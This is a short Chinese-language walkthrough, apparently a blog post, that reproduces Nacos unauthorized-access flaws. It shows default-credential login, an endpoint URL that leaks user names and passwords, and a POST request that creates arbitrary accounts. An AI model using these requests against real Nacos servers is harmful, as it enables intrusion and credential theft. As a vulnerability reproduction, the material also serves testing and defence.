Nacos未授权访问漏洞复现，2024年最新网络安全高级工程师面试题

1 弱口令：nacos/nacos

http://ip:8848/nacos

以上网址是默认登录页面地址，如图

尝试用弱口令nacos/nacos登录。

---

2 账号及密码泄露

http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=9

访问以上地址可以获取到已有的用户名和密码，如图

---

3 创建任意用户

POST http://ip:8848/nacos/v1/auth/users?username=test1&password=test1

抓包将GET改成POST提交，即可创建任意用户

使用创建的test1/test1 用户成功登录

---